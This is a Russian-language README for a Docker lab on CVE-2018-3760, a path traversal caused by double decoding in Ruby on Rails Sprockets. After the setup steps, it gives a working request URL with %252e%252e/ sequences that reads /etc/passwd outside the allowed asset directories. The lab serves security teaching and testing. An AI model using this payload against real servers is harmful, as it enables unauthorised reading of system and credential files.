
Лаборатория на основе Docker, демонстрирующая обход пути CVE-2018-3760 в Ruby on Rails Sprockets, с POC и настройкой окружения для тестирования безопасности и обучения.
Ruby On Rails — известный Ruby-фреймворк для веб-разработки, который использует Sprockets в качестве статического файлового сервера в среде разработки. Sprockets — это библиотека Ruby, которая компилирует и распространяет статические ресурсы.
В Sprockets версии 3.7.1 и ниже существует уязвимость обхода пути, вызванная вторичным декодированием. Злоумышленник может использовать %252e%252e/ для доступа к корневому каталогу и чтения или выполнения любого файла на целевом сервере.
Ссылки:
Введите следующую команду:
docker-compose up -d
Перейдите по адресу http://your-ip:3000, и вы увидите страницу приветствия.
При прямом обращении к http://your-ip:3000/assets/file:%2f%2f/etc/passwd возникнет ошибка, так как файл /etc/passwd не находится в разрешённом каталоге.

Из страницы с ошибкой можно получить список разрешённых каталогов. Выберите один из них, например /usr/src/blog/app/assets/images, затем используйте %252e%252e/ для перехода в родительский каталог и в итоге прочитайте файл /etc/passwd:
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
